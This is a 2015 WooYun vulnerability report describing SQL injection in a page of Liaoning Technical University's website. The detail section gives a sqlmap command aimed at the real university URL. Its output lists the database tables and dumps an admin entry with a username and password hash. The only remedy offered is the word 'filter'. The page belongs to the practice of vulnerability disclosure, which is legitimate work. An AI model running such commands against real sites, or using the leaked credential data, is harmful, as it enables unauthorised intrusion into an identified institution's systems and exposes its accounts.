当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0108303

漏洞标题：辽宁工程技术大学注入一枚

相关厂商：辽宁工程技术大学

漏洞作者： 路人甲

提交时间：2015-04-21 16:05

修复时间：2015-04-26 16:06

公开时间：2015-04-26 16:06

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：11

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-21： 细节已通知厂商并且等待厂商处理中
2015-04-26： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

有人提了一个，，，，辽宁工程技术大学 ，教务处的注入一枚，，我替的不是这个吧，，没有重复吧？？？

详细说明：

C:\Users\Administrator>sqlmap.py  -u  http://www.lntu.edu.cn/hisphoto.asp?id=18
 --tables
Database: Microsoft_Access_masterdb
[6 tables]
+--------------+
| admin        |
| department   |
| friend       |
| news         |
| notes        |
| organization |
+--------------+
Table: admin
[1 entry]
+----+-----+----------------------------------+------+----------+---------------
-----+
| id | aid | pwd                              | data | username | create_date
     |
+----+-----+----------------------------------+------+----------+---------------
-----+
| 18 | 37  | 4e8124af86802fabba785f70611a411b | <blank> | wgzx     | 2012-8-29 1
1:25:55 |
+----+-----+----------------------------------+------+----------+---------------

漏洞证明：

rt

修复方案：

过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-04-26 16:06

厂商回复：

最新状态：

暂无